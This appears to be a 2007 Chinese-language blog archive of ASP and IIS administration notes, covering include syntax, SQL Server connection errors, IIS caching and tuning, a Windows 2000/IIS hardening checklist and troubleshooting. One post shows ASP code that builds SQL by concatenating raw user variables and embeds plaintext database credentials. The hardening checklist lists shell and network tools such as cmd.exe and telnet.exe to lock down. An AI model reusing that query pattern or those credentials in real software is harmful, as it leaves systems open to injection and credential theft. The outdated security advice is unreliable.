2007年12月17日 星期一

ASP的include 用法



参数
PathType

将 FileName 的路径类型。路径可为以下某种类型:

路径类型 含义
文件 该文件名是带有 #include 命令的文档所在目录的相对路径。被包含文件可位于相同目录或子目录中;但它不能处于带有 #include 命令的页的上层目录中。
虚拟 文件名为 Web 站点上虚拟目录的完整虚拟路径。

重點:



FileName

指定要包含的文件名。FileName 必须包含文件名扩展,而且必须将文件名用引号 (") 引起来。

注释
包含 #include 命令的文件必须使用映射到 SSI 解释器的文件扩展名;否则,Web 服务器将不处理该命令。默认情况下,扩展名 .stm、.shtm 和 .shtml 将映射到解释器 (Ssinc.dll)。如果安装了 Internet 服务管理器,则可以修改默认扩展映射并添加新的映射。请参阅设置应用程序映射。被包含的文件可具有任何文件扩展名,但建议赋予它们 .inc 扩展名。

示例






include file 与include virtual的区别

1。#include file 包含文件的相对路径,#include virtual包含文件的虚拟路径。
2。在同一个虚拟目录内,效果是相同的,但假设虚拟目录名为myweb,则也可以通过调试,但我们知道是绝对要报错的。
3。如果一个站点下有2个虚拟目录myweb1和myweb2,myweb1下有文件file1.asp,myweb2下有文件file2.asp,如果 file1.asp要调用file2.asp,那么在file1.asp中要这样写:,在这种情况下用#include file是无法实现的,用必然报错。相反,在myweb2的文件中包含myweb1中的文件也是一样。如果该被包含文件在某个文件夹下面,只要在虚拟路径中加上该文件夹即可。
4。不论用#include file 还是 #include virtual,在路径中用“/”还是“\”或者二者交叉使用都不会影响编译效果,程序会顺利执行。
5。以上情况不适用于2个站点文件的相互调用,而且在同一个站点内,等效,但假设站点名为website,使用是错误的。



可同样调试通过.网站中两个虚拟目录没有调试.

windows 2003 64 bit 連接資料庫設定 800a0ea9

Win2003 64Bit连数据库800a0ea9错误
ken_kang 发表于 2007-6-28 14:28:00

DBPath = Server.MapPath("tek.mdb")
set dbconnection=Server.CREATEOBJECT("ADODB.CONNECTION")

dbconnection.Open "PROVIDER=SQLOLEDB;DATA SOURCE=server;UID=saxe;PWD=tektronix;DATABASE=FLF"

'dbconnection.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
Set rs = Server.CreateObject("ADODB.Recordset")
sql="insert into tektronix s('"&name0&"','"&country&"','"&location&"','"&q0&"','"&q1&"','"&q2&"','"&q3&"','"&q4&"','"&q5&"','"&q6&"','"&q7&"','"&q8&"')"
rs.Open sql, dbconnection,1,1

Provider=SQLOLEDB;Data Source=127.0.0.1;Initial Catalog=db;User ID=username;Password=password;

注意看上面的连接语句,=(等号)的左右两边没有空格,就是不要要多余的空格

如果还不行还要注意'(单引号),例:Provider='SQLOLEDB';Data Source='127.0.0.1';Initial Catalog='db';User ID='username';Password='password';

还不行?加上Network Library,例:Provider='SQLOLEDB';Data Source='127.0.0.1';Initial Catalog='db';User ID='username';Password='password';Network Library='dbmssocn';

心得:
SQL 2000的connection string是ConnectionString = "Driver={SQL Server};Server={IP};UID=sa;PWD=pwd;Database=db"
SQL 2005中,driver要換成privider=SQLOLEDB
data source和系統的資料來源設定有關,要看sever設定
initial catalog未必需要,用database就夠用

2007年11月9日 星期五

ASP, ASPX上設定轉址的方法

<div>

方法有兩大類,使用ASP/ASPX碼或是使用JS

使用ASP

使用ASPX

使用JS

基本語法為

<script>

location.href='index.aspx'

</script>

ASP中為

<script>

location.href="index.aspx"

</script>

在ASP程式碼中使用則為

不過需要注意的是,常會有單引號雙引號問題導致無法運作

另外還有一種情況是

當程式碼是寫在分隔視窗中時,要加入parent,變成parent.location.href</div>

2007年10月23日 星期二

NSLOOKUP

http://www.windowsnetworking.com/articles_tutorials/Using-NSLOOKUP-DNS-Server-diagnosis.html
另一參考網頁 http://turtle.ee.ncku.edu.tw/~tung/dns/nslookup.html

nslookup在UNIX和windows上都有,雖然有些微的不同
但基本操作都是讓你在本機上執行query,預設都是在所屬網域中
你可以用他查外部網域,但他會從本地網域先查起
設定伺服器的指令是 server 127.0.0.1(使用你要的DNS伺服器IP)

Commands: (identifiers are shown in uppercase, [] means optional)
大寫字母代表識別元,[]內是選項
NAME - print info about the host/domain NAME using default server
列出預設DNS伺服器的主機、網域資訊
NAME1 NAME2 - as above, but use NAME2 as server
使用NAME2做為預設DNS伺服器
help or ? - print info on common commands
set OPTION - set an option
all - print options, current server and host
列出所有選項,以及目前使用的伺服器、目前主機
[no]debug - print debugging information
設定除錯模式 set debug
[no]d2 - print exhaustive debugging information
set d2,
[no]defname - append domain name to each query
[no]recurse - ask for recursive answer to query
[no]search - use domain search list
[no]vc - always use a virtual circuit
domain=NAME - set default domain name to NAME
srchlist=N1[/N2/.../N6] - set domain to N1 and search list to N1,N2, etc.
root=NAME - set root server to NAME
retry=X - set number of retries to X
timeout=X - set initial time-out interval to X seconds
type=X - set query type (ex. A,ANY,CNAME,MX,NS,PTR,SOA,SRV)
querytype=X - same as type
class=X - set query class (ex. IN (Internet), ANY)
[no]msxfr - use MS fast zone transfer
ixfrver=X - current version to use in IXFR transfer request
server NAME - set default server to NAME, using current default server
lserver NAME - set default server to NAME, using initial server
finger [USER] - finger the optional NAME at the current default host
root - set current default server to the root
ls [opt] DOMAIN [> FILE] - list addresses in DOMAIN (optional: output to FILE)
-a - list canonical names and aliases
-d - list all records
-t TYPE - list records of the given type (e.g. A,CNAME,MX,NS,PTR etc.)
view FILE - sort an 'ls' output file and view it with pg
exit - exit the program

2007年7月29日 星期日

監控streaming服務 Streaming Patrol2

這是一套監控streaming的軟體
不過極其陽春
監控對象限制Windows Media Player server
方式只有request response,就是說丟要求看有沒有回應
軟體特色號稱是可模擬真實使用者體驗
這句話也沒說錯,而且還可以在一個軟體上模擬出N個要求出來
不過完全沒有量化數據
唯一功能是幫你看server有沒有掛掉,掛了就送mail
非常陽春的東西

2007年7月23日 星期一

IIS 6.0: Delay in Serving Updated Active Server Pages

IIS 6.0: Delay in Serving Updated Active Server Pages

mproving Scalability by Optimizing IIS 6.0 Caches

mproving Scalability by Optimizing IIS 6.0 Caches

编写高性能 Web 应用程序的 10 个技巧

编写高性能 Web 应用程序的 10 个技巧

建置安全的 ASP.NET 應用程式: 驗證、授權和安全通訊

討論認證方式和以下設定的影響


有ASP應用上的認證問題時,一定要看

IIS6.0 性能调整

直接連就可以了
http://www.360doc.com/showWeb/0/0/455063.aspx

IIS常見錯誤

IIS常見錯誤

问题5:IUSR账号被禁用
症状举例:
HTTP 错误 401.1 - 未经授权:访问由于凭据无效被拒绝。
原因分析:
由于用户匿名访问使用的账号是IUSR_机器名,因此如果此账号被禁用,将造成用户无法访问。
解决办法:
控制面板->管理工具->计算机管理->本地用户和组,将IUSR_机器名账号启用。

问题6:NTFS权限设置不当
症状举例:
HTTP 错误 401.3 - 未经授权:访问由于 ACL 对所请求资源的设置被拒绝。
原因分析:
Web客户端的用户隶属于user组,因此,如果该文件的NTFS权限不足(例如没有读权限),则会导致页面无法访问。
解决办法:
进入该文件夹的安全选项卡,配置user的权限,至少要给读权限。关于NTFS权限设置这里不再馈述。

问题7:IWAM账号不同步
症状举例:
HTTP 500 - 内部服务器错误
原因分析:
IWAM账号是安装IIS时系统自动建立的一个内置账号。IWAM账号建立后被Active Directory、IIS metabase数据库和COM+应用程序三方共同使用,账号密码被三方分别保存,并由操作系统负责这三方保存的IWAM密码的同步工作。系统对IWAM 账号的密码同步工作有时会失效,导致IWAM账号所用密码不统一。
解决办法:
如果存在AD,选择开始->程序->管理工具->Active Directory用户和计算机。为IWAM账号设置密码。
运行c:\\Inetpub\\AdminScripts>adsutil SET w3svc/WAMUserPass +密码 同步IIS metabase数据库密码
运行cscript c:\\inetpub\\adminscripts\\synciwam.vbs -v 同步IWAM账号在COM+应用程序中的密码

问题8:MIME设置问题导致某些类型文件无法下载(以ISO为例)
症状举例:
HTTP 错误 404 - 文件或目录未找到。
原因分析:
IIS6.0取消了对某些MIME类型的支持,例如ISO,致使客户端下载出错。
解决方法:
在IIS中 属性->HTTP头->MIME类型->新建。在随后的对话框中,扩展名填入.ISO,MIME类型是application。

另外,防火墙阻止,ODBC配置错误,Web服务器性能限制,线程限制等因素也是造成IIS服务器无法访问的可能原因,这里就不再一一馈述了。

2007年7月22日 星期日

IIS6的cache機制

IIS 6可以cache ASP
可在meta中用AspScriptFileCacheSize設定數量
這樣可以避免每次都要compile
不過這只能針對網站下的目錄使用
另一個設定是MaxCachedFileSize registry key(MaxCachedFileSize registry key)
這會建立一個預設256K的cache file,存活時間10秒,

DisableLazyContentPropagation
IIS在ASP快取啟動後,當ASP檔案有所更動時,不會清除快取中的檔案,必須設置這值強制IIS拋棄快取中的已編譯檔案

CacheSecurityDescriptor, 預設1,會cache住使用者對檔案的權限
CheckCertRevocation, 預設0,檢查客戶端認證
DisableMemoryCache, 預設0,禁用伺服器cache
ListenBackLog, 預設15,server queue數目,活動量大時可以提高到15
LogBufferSize, 預設N/A,可謂每個site增加12k~64K的log buffer
MaxCachedFileSize,預設256K
MaxConcurrency, 預設0, 指定系統應該提供的並行操作數量(0~無限制), 0表示系統決定。
MaxPoolThreads, 每個處理器建立的共用線程數目,共用線程會監視網路請求並處理,預設情況下只會處理四個,如果處理四個以上的CGI程式就應該加大,但是不該超過20各
MemCacheSize,設定緩衝的大小,預設每60秒調整一次
PoolThreadLimit,預設2*MB,系統中可建立的共用線程最大數目,這值是IIS中所有線程的最大數目
恆小於MaxPoolThread
MinFileBytesPerSec, 傳送檔案時的逾時設定,算法是(IIS最大連機超時+文件的大小)/MinFileBytePerSec
ObjectCacheTTL, 生存時間設定,預設30秒。這是物件保存在緩衝內存中的時間長短,
當記憶體不足或內容為動態文件時,可以將TTL設低。設定成0xFFFFFFFF會禁用緩衝處理程序,在記憶體夠且內容為靜態時禁用會收到很大效果。
ThreadTimeout, thread應該維持的時間設定。
UserTokenTTL, 使用者帳號緩存緩衝商存的時間




另一個是內容到期限制
這設定可以針對檔案類型
但是無法針對特定網站目錄

提高IIS网站服务器效率八法

提高IIS网站服务器效率八法
2004-07-19 来源:天极硬件频道

  以下是提高IIS 5.0网站服务器的执行效率的八种方法:

  1. 启用HTTP的持续作用可以改善15~20%的执行效率。
  2. 不启用记录可以改善5~8%的执行效率。
  3. 使用 [独立] 的处理程序会损失20%的执行效率。
  4. 增加快取记忆体的保存文档数量,可提高ActiveServer Pages之效能。
  5. 勿使用CGI程式
  6. 增加IIS 5.0电脑CPU数量。
  7. 勿启用ASP侦错功能。
  8. 静态网页采用HTTP 压缩,大约可以减少20%的传输量。

  简单介绍如下

  1、启用HTTP的持续作用

  启用HTTP的持续作用(Keep-Alive)时,IIS与浏览器的连线不会断线,可以改善执行效率,直到浏览器关闭时连线才会断线。因为维持「Keep-Alive」状态时,于每次用户端请求时都不须重新建立一个新的连接,所以将改善服务器的效率。
  此功能为HTTP 1.1预设的功能,HTTP 1.0加上Keep-Alive header也可以提供HTTP的持续作用功能。


  2、启用HTTP的持续作用可以改善15~20%的执行效率。

  如何启用HTTP的持续作用呢?步骤如下:
  在 [Internet服务管理员] 中,选取整个IIS电脑、或Web站台,於 [内容] 之 [主目录] 页,勾选 [HTTP的持续作用] 选项。

  3、不启用记录

  不启用记录可以改善5~8%的执行效率。
  如何设定不启用记录呢?步骤如下:
  在 [Internet服务管理员] 中,选取整个IIS电脑、或Web站台,於 [内容] 之 [主目录] 页,不勾选 [启用记录] 选项。
  设定非独立的处理程序
  使用 [独立] 的处理程序会损失20%的执行效率,此处所谓「独立」系指将 [主目录]、[虚拟目录] 页之应用程式保护选项设定为 [高(独立的)] 时。因此 [应用程式保护] 设定为 [低 (IIS处理程序)]时执行效率较高,设定画面如下:
  如何设定非「独立」的处理程序呢?步骤如下:
  在 [Internet服务管理员] 中,选取整个IIS电脑、Web站台、或应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录]页,设定应用程式保护选项为 [低 (IIS处理程序)]。

  4、调整快取(Cache)记忆体

  IIS 5.0将静态的网页资料暂存於快取(Cache)记忆体当中;IIS 4.0则将静态的网页资料暂存於档案当中。调整快取(Cache)记忆体的保存档案数量可以改善执行效率。
  ASP指令文档执行过後,会在暂存於快取(Cache)记忆体中以提高执行效能。增加快取记忆体的保存文档数量,可提高Active Server Pages之效能。
  可以设定所有在整个IIS电脑、「独立」Web站台、或「独立」应用程式上执行之应用程式的快取记忆体档案数量。
  如何设定快取(Cache)功能呢?步骤如下:
  在 [Internet服务管理员] 中,选取整个IIS电脑、「独立」Web站台、或「独立」应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录] 页,按下 [设定] 按钮时,即可由[处理程序选项] 页设定 [指令档快取记忆体] 。
  如何设定快取(Cache)记忆体档案数量呢?步骤如下:
  在 [Internet服务管理员] 中,选取整个IIS电脑、或Web站台的起始目录。於 [内容] 之 [伺服器扩充程式] 页,按下 [设定] 按钮。
  即可设定快取(Cache)记忆体档案数量。

  5、勿使用CGI程式

  使用CGI程式时,因为处理程序(Process)须不断地产生与摧毁,造成执行效率不佳。
  一般而言,执行效率比较如下:

  静态网页(Static):100

  ISAPI:50

  ASP:10

  CGI:1

  换句话说,ASP比CGI可能快10倍,因此勿使用CGI程式可以改善IIS的执行效率。

  以弹性(Flexibility)而言:ASP > CGI > ISAPI > 静态网页(Static)。

  以安全(Security)而言:ASP(独立) = ISAPI(独立)= CGI > ASP(非独立) = ISAPI(非独立)= 静态网页(Static)。

  6、增加IIS 5.0电脑CPU数量

  根据微软的测试报告,增加IIS4.0电脑CPU数量,执行效率并不会改善多少;但是增加IIS 5.0电脑CPU数量,执行效率会几乎成正比地提供,换句话说,两颗CPU的IIS 5.0电脑执行效率几乎是一颗CPU电脑的两倍,四颗CPU的IIS 5.0电脑执行效率几乎是一颗CPU电脑的四倍。
  IIS 5.0将静态的网页资料暂存於快取(Cache)记忆体当中;IIS 4.0则将静态的网页资料暂存於档案当中。调整快取(Cache)记忆体的保存档案数量可以改善执行效率。

  7、勿启用ASP侦错功能

  勿启用ASP侦错功能可以改善执行效率。
  如何勿启用ASP侦错功能呢?步骤如下:
  於 [Internet服务管理员] 中,选取Web站台、或应用程式的起始目录,按右键选择[内容],按 [主目录]、[虚拟目录] 或 [目录] 页,按下[设定] 按钮,选择 [应用程式侦错] 页,不勾选 [启用ASP伺服器端指令侦错]、[启用ASP用户端指令侦错] 选项。

  8、静态网页采用HTTP 压缩

  静态网页采用HTTP 压缩,大约可以减少20%的传输量。
  HTTP压缩功能启用或关闭,系针对整台IIS服务器来设定。
  用户端使用IE 5.0浏览器连线到已经启用HTTP压缩IIS 5.0之Web服务器,才有HTTP压缩功能。
  如何启用HTTP压缩功能呢?步骤如下:
  若要启用HTTP压缩功能,方法为在 [Internet服务管理员] 中,选取电脑之 [内容],於 [主要内容] 之下选取[WWW服务]。然後按一下 [编辑] 按钮,於 [服务] 页上,选取 [压缩静态档案] 可以压缩静态档案,不选取 [压缩应用程式档案] 。

  动态产生的内容档案(压缩应用程式档案)也可以压缩,但是须耗费额外CPU处理时间,若% Processor Time已经百分之八十或更多时,建议不要压缩。
  其次 我还要说一下,就是除掉一些不必要的服务
其次 我还要说一下,就是除掉一些不必要的服务

*Win2000+IIS 5.0安全配置规范
Windows2000+IIS 5.0安全配置规范详细讲解
  一、 Windows 2000安全配置

  ■. 确保所有磁盘分区为NTFS分区
  ■. 操作系统、Web主目录、日志分别安装在不同的分区
  ■. 不要安装不需要的协议,比如IPX/SPX, NetBIOS?
  ■. 不要安装其它任何操作系统
  ■. 安装Service Pack
  ■. 安装hotfix,一般需要安装如下补丁
  * Q260347_W2K_sp2_x86_cn(IISCrosssite)
  * Q262694_W2K_SP2_x86_CN(resetBrowseForm)
  * Q269049_W2K_SP2_x86_CN(shellpath)
  * Q269862_W2K_SP2_x86_CN(unicode)
  * Q270676_W2K_SP2_x86_CN(shurufa)
  * Q272743_W2K_SP2_x86_CN(NTLM)
  * Q277873_W2K_sp2_x86_CN(filerequest)
  * Q278499_W2K_sp2_x86_CN(indexserv)
  * Q280322_W2K_sp2_x86_CN(malwebform)
  * q285851_w2k_sp3_x86_cn(netdde)
  具体可参考微软网站:http://www.microsoft.com/Windows2000/downloads
  ■. 关闭所有不需要的服务
  * Alerter (disable)
  * ClipBook Server (disable)
  * Computer Browser (disable)
  * DHCP Client (disable)
  * Directory Replicator (disable)
  * FTP publishing service (disable)
  * License Logging Service (disable)
  * Messenger (disable)
  * Netlogon (disable)
  * Network DDE (disable)
  * Network DDE DSDM (disable)
  * Network Monitor (disable)
  * Plug and Play (disable after all hardware configuration)
  * Remote Access Server (disable)
  * Remote Procedure Call (RPC) locater (disable)
  * Schedule (disable)
  * Server (disable)
  * Simple Services (disable)
  * Spooler (disable)
  * TCP/IP Netbios Helper (disable)
  * Telephone Service (disable)

  在必要时禁止如下服务:
  * SNMP service (optional)
  * SNMP trap (optional)
  * UPS (optional
  设置如下服务为自动启动:
  * Eventlog ( required )
  * NT LM Security Provider (required)
  * RPC service (required)
  * WWW (required)
  * Workstation (leave service on:will be disabled later in the document)
  * MSDTC (required)
  * Protected Storage (required)
  ■. 删除 OS/2 和 POSIX 子系统:
  删除如下目录的任何键:
  HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\OS/2 Subsystem for NT
  删除如下的键:
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Environment\Os2LibPath
  删除如下的键:
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems\Optional
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems\Posix
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems\Os2
  删除如下目录:
  c:\winnt\system32\os2
  ■. 帐号和密码策略
  1) 保证禁止guest帐号
  2) 将administrator改名为比较难猜的帐号
  3) 密码唯一性:记录上次的 6 个密码
  4) 最短密码期限:2
  5) 密码最长期限:42
  6) 最短密码长度:8
  7) 密码复杂化(passfilt.dll):启用
  8) 用户必须登录方能更改密码:启用
  9) 帐号失败登录锁定的门限:6
  10)锁定后重新启用的时间间隔:720分钟
  ■.保护文件和目录
  将C:\winnt, C:\winnt\config, C:\winnt\system32, C:\winnt\system等目录的访问权限做限制,限制everyone的写权限,限制users组的读写权限
  ■.注册表一些条目的修改
  1) 去除logon对话框中的shutdown按钮
  将HKEY_LOCAL_MACHINE\SOFTWARE
  \Microsoft\Windows NT\Current Version\Winlogon\中
  ShutdownWithoutLogon REG_SZ 值设为0
  2) 去除logon信息的cashing功能
  将HKEY_LOCAL_MACHINE\SOFTWARE
  \Microsoft\Windows NT\Current Version\Winlogon\中
  CachedLogonsCount REG_SZ 值设为0

  3) 隐藏上次登陆的用户名
  将HKEY_LOCAL_MACHINE\SOFTWARE
  \Microsoft\Windows NT\Current Version\Winlogon\中
  DontDisplayLastUserName REG_SZ 值设为1
  4)限制LSA匿名访问
  将HKEY_LOCAL_MACHINE\SYSTEM
  \CurrentControlSet\Control\LSA中
  RestricAnonymous REG_DWORD 值设为1
  5) 去除所有网络共享
  将HKEY_LOCAL_MACHINE\SYSTEM
  \CurrentControlSet\Services\LanManServer\Parameters\中
  AutoShareServer REG_DWORD 值设为0
  ■. 启用TCP/IP过滤
  只允许TCP端口80和443(如果使用SSL)
  不允许UDP端口
  只允许IP Protocol 6 (TCP)
  ■. 移动部分重要文件并加访问控制:
  创建一个只有系统管理员能够访问的目录,将system32目录下的一些重要文件移动到此目录:
  xcopy.exe, wscript.exe, cscript.exe, net.exe, ftp.exe, telnet.exe,arp.exe,
  edlin.exe,ping.exe,route.exe,at.exe,finger.exe,posix.exe,rsh.exe,atsvc.exe,
  qbasic.exe,runonce.exe,syskey.exe,cacls.exe, ipconfig.exe, rcp.exe,
  secfixup.exe, nbtstat.exe, rdisk.exe, debug.exe, regedt32.exe, regedit.exe,
  edit.com, netstat.exe, tracert.exe, nslookup.exe, rexec.exe, cmd.exe
  ■.安装防病毒软件Norton 2000
  ■. 可以下载Hisecweb.inf安全模板来配置
  Http://download.microsoft.com/downl...US/hisecweb.exe
  该模板配置基本的 Windows 2000 系统安全策略。
  将该模板复制到 %windir%\security\templates 目录。
  打开“安全模板”工具,查看这些设置。
  打开“安全配置和分析”工具,然后装载该模板。
  右键单击“安全配置和分析”工具,然后从上下文菜单中选择“立即分析计算机”。
  等候操作完成。
  查看结果,如有必要就更新该模板。
  右键单击“安全配置和分析”工具,然后从上下文菜单中选择“立即配置计算机”。

  二、IIS的安全配置

  ■. 关闭并删除默认站点:
  默认FTP站点
  默认Web站点
  管理Web站点
  ■. 建立自己的站点,与系统不在一个分区,如
  D:\wwwroot3. 建立 E:\Logfiles 目录,以后建立站点时的日志文件均位于此目录,确保此目录上的访问控制权限是: Administrators(完全控制)System(完全控制)
  ■. 删除IIS的部分目录:
  IISHelp C:\winnt\help\iishelp
  IISAdmin C:\system32\inetsrv\iisadmin
  MSADC C:\Program Files\Common Files\System\msadc\
  删除 C:\\inetpub

  ■. 删除不必要的IIS映射和扩展:
  IIS 被预先配置为支持常用的文件名扩展如 .asp 和 .shtm 文件。IIS 接收到这些类型的文件请求时,该调用由 DLL 处理。如果您不使用其中的某些扩展或功能,则应删除该
  映射,步骤如下:
  打开 Internet 服务管理器:
  选择计算机名,点鼠标右键,选择属性:
  然后选择编辑
  然后选择主目录, 点击配置
  选择扩展名 \".htw\",\".htr\",\".idc\",\".ida\",\".idq\"和\".printer\",点击删除
  如果不使用server side include,则删除\".shtm\" \".stm\" 和 \".shtml\"
  ■. 禁用父路径 :
  “父路径”选项允许您在对诸如 MapPath 函数调用中使用“..”。在默认情况下,该选项
  处于启用状态,应该禁用它。
  禁用该选项的步骤如下:
  右键单击该 Web 站点的根,然后从上下文菜单中选择“属性”。
  单击“主目录”选项卡。
  单击“配置”。
  单击“应用程序选项”选项卡。
  取消选择“启用父路径”复选框。
  ■. 在虚拟目录上设置访问控制权限
  主页使用的文件按照文件类型应使用不同的访问控制列表:
  CGI (.exe, .dll, .cmd, .pl)
  Everyone (X)
  Administrators(完全控制)
  System(完全控制)
  脚本文件 (.asp)
  Everyone (X)
  Administrators(完全控制)
  System(完全控制)
  include 文件 (.inc, .shtm, .shtml)
  Everyone (X)
  Administrators(完全控制)
  System(完全控制)
  静态内容 (.txt, .gif, .jpg, .html)
  Everyone (R)
  Administrators(完全控制)
  System(完全控制)
  在创建Web站点时,没有必要在每个文件上设置访问控制权限,应该为每个文件类型创建一个新目录,然后在每个目录上设置访问控制权限、允许访问控制权限传给各个文件。
  例如,目录结构可为以下形式:
  D:\wwwroot\myserver\static (.html)
  D:\wwwroot\myserver\include (.inc)
  D:\wwwroot\myserver \script (.asp)
  D:\wwwroot\myserver \executable (.dll)
  D:\wwwroot\myserver\images (.gif, .jpeg)
  ■. 启用日志记录
  确定服务器是否被攻击时,日志记录是极其重要的。
  应使用 W3C 扩展日志记录格式,步骤如下:
  打开 Internet 服务管理器:
  右键单击站点,然后从上下文菜单中选择“属性”。
  单击“Web 站点”选项卡。
  选中“启用日志记录”复选框。
  从“活动日志格式”下拉列表中选择“W3C 扩展日志文件格式”。
  单击“属性”。
  单击“扩展属性”选项卡,然后设置以下属性:
  * 客户 IP 地址
  * 用户名
  * 方法
  * URI 资源
  * HTTP 状态
  * Win32 状态
  * 用户代理
  * 服务器 IP 地址
  * 服务器端口

*IIS信息服务器排错指导
IIS服务器出错的原因是复杂的。本节就一般性的IIS排错提供指导性的介绍。
  IIS服务器出错的原因是复杂的。象服务启动失败、IIS进程中断或者站点不能启动这些错误都会在系统日志中记录一个错误事件。不论IIS出现何种错误,在确定排错方案之前,都应先使用事件查看器查阅系统日志所记录的相关事件。某些错误显然是由服务器硬件的损坏而造成的,而另一些由于软件原因造成的错误往往不易察觉。本节就一般性的IIS排错提供指导性的介绍。

  重新启动IIS

  按照微软产品的一般性排错方法和故障解决方案,大多数软件问题可以通过重新启动到方法得以解决。作为IIS5.0的新功能之一,我们可以在不重新启动计算机的情况下重启IIS服务,甚至相当严重的问题都可以采用这种方法解决。重新启动IIS服务可以强迫系统重置IIS进程的内存空间,故由于内存错误引起的问题可以得到解决。重启IIS的方法主要用于下列情况:网站应用程序瘫痪、且不能有效加以控制;网站应用程序工作不正常或者不稳定。[/TD] [/TR][/TABLE]重新启动IIS服务的过程中,全部当前连接都不能保留,且重启期间服务器上的全部站点都不能工作。如果重启IIS服务不能解决问题,则重启服务器亦不会有效。

  当站点应用程序不能正常工作时,按照下述步骤重新启动服务器的IIS服务:

  1.在IIS管理控制树中展开IIS节点,选择需要重新启动IIS服务的计算机。

  2.单击【操作】菜单,选择【重新启动IIS】。

  3.在【停止/启动/重新启动】对话框中的【您向要IIS做什么】下拉列表中选择【重新启动服务器的IIS】 ,单击【确定】。

  4.正在关闭】对话框显示重新启动IIS的进度,如果对话框长时间没有反应,单击【现在结束】并重新进行上述操作。

  注意:不能使用基于HTML的IIS管理器(远程管理模式)进行上述重启操作。

  对于单个站点的稳定性问题,不必重新启动整个IIS进程,只要重启站点即可。


  IIS排错

  备份/还原IIS

  如果世界上存在一个万无一失的服务器安全规划方案,那就是备份。曾经有人指出:一个优秀的系统管理员所做的最重要的三项工作就是:备份、备份、备份。

  IIS的实现机制包括一个类似注册表的元数据库:MetaBase,有关IIS本身和站点的配置属性全部保存在Windows 2000和元数据库MetaBase中。因此,只要将相关的注册表和元数据库进行备份,即可保存站点相关的全部配置。即使在删除站点甚至重新安装IIS之后,仍然能够利用备份恢复到原来的状态。


  备份IIS的步骤如下:

  1.在IIS管理器中展开IIS节点,选择向要备份的计算机。

  2.单击【操作】菜单,选择【备份/还原配置】。
  3.在【备份/还原配置】对话框中的【备份】列表中列出全部备份文件以及备份时间。单击【创建备份】按钮。

  4.在【备份配置】对话框中指定新建备份的名称,单击【确定】。

  5.单击【关闭】完成备份。

  默认情况下,备份文件将保存在 Winntsystem32inetsrvMetaBack目录中。

  恢复备份的方法与此类似,在【备份/还原配置】对话框中的【备份】列表中选择一个备份文件,单击【还原】。然后再如左图所示的提示对话框中单击【确定】,一段时间之后,IIS服务器恢复到进行备份时所处的状态。

  如果服务器重装IIS之后需要恢复备份,则在上述恢复操作的基础上,还应进行额外的操作,步骤如下:

  1.在命令提示符下,键入cscript.exe X:InetPubAmdinScriptsAdsutil.vbs enumw3svc,此处"X"是安装IIS的驱动器号。从列出的设置中,查找WamUserName和相关的WAMUserPass的值。

  2.在控制面板中双击【管理工具】,然后双击【计算机管理】。

  3.选择【本地用户管理器】,然后单击【用户】。双击【IWAM_computername】用户帐户。键入从以前步骤找到的WAMUserPass值,并单击【确定】。



  4.在【配置备份名】对话框中,选择创建的备份文件,然后单击【还原】。此时配置将得到完全还原。

  IIS排错
 
  TCP/IP排错

  TCP/IP协议问题往往是导致IIS不能正常工作的原因。当IIS出现错误但是可以判断IIS服务本身没有问题时,就要考虑是否网络连接出现问题,简单排除网络硬件损坏所造成的问题之后,我们的注意力就应集中在网络协议,主要是TCP/IP协议上。

  Windows 2000提供了一系列TCP/IP排错工具,这些主要基于命令提示行的工具提供了诊断网络问题的强大手段。

  使用ipconfig工具检查TCP/IP配置

  ipconfig是一个查阅和管理客户机TCP/IP配置状态的命令提示行工具。在命令提示行中键入:ipconfig并回车,得到如右图所示的计算机基本TCP/IP配置属性,包括IP地址、子网掩码和缺省网关。

  在命令提示行中键入:ipconfig /all并回车,得到详细模式的TCP/IP配置状态,除了基本信息之外,还包括主机名、DNS设置、WINS设置、DHCP设置以及物理地址、节点类型等TCP/IP信息。

  如果计算机启用DHCP并使用DHCP服务器获得配置,可以使用ipconfig /renew命令开始刷新租约。也可以使用带/release选项的ipconfig命令立即释放主机的当前DHCP配置。

  对于Windows 95和Windows 98客户机,应使用 winipcfg命令而不是ipconfig命令。

  使用ping命令测试连接

  Ping命令有助于验证IP级的连通性,发现和解决问题时,可以使用Ping向目标主机名或IP地址发送ICMP回应请求。在需要验证主机能否连接到TCP/IP网络和网络资源时使用Ping。

  Ping命令实际上是向目标主机发送若干(缺省为4个)数据包,如果本地计算机与目标主机之间能够连通,目标主机将回复一条响应信息,如右上图所示,响应信息包括响应时间和TTL值。成功的Ping同一台主机说明IP数据能够在本地与目标主机之间传送。

  如果收到超时信息,如右下图所示,则说明本地主机与目标主机之间的TCP/IP连接不能建立,可能的原因包括网络故障,协议错误以及TCP/IP配置错误等。


  在确认网络连通性的时候,应按照以下顺序进行Ping测试:

  1.Ping本地循环地址127.0.0.1,确定本地TCP/IP配置是否正确。

  在命令提示行键入Ping 127.0.0.1。

  2.Ping本机地址,检验本地IP地址设置是否正确。

  3.Ping缺省网关地址,检验能否与本地子网之外的主机进行通信。

  4.Ping远程子网上的主机,检验能否通过路由器进行远程通信。

  如果以上Ping命令均能够得到响应,说明TCP/IP配置能够支持网络通信。否则,针对相应的网络组件进行设置检查。

  使用netstat工具显示连接统计

  可以使用netstat命令显示协议统计信息和当前的TCP/IP连接。

  netstat -a命令将显示所有连接,而netstat -r显示路由表和活动连接。netstat -e命令将显示 Ethernet 统计信息,而netstat -s显示每个协议的统计信息。

  如果使用 netstat -n,则不能将地址和端口号转换成名称。

Windows 2003 企业版 的IIS设置好后只能访问html类型的网页,不能访问asp、php等类型的网页。在2000版中不存在这个问题。
那是因为2003中用的是IIS6,默认的只能访问html页面!
在Internet服务管理器里,选择"web服务扩展",把"ActiveServerPages"设为允许就可以了~~~~~~~~~

另外:
1)要把“默认的站点”-“工作区[虚拟目录]”-“属性”-“虚拟目录”-“配置…”-“选项”-“启用父目录”选中。
2)在WindowsServer2003下上传大文件注意事项:
在WindowsServer2003上传较大的附件进行发送时系统报错:
Request对象错误'ASP0104:80004005'
或者
007~ASP0104~不允许操作~
或者
不能创建文件上载组件Upload.UploadFile

出现上述信息,请进行如下操作:
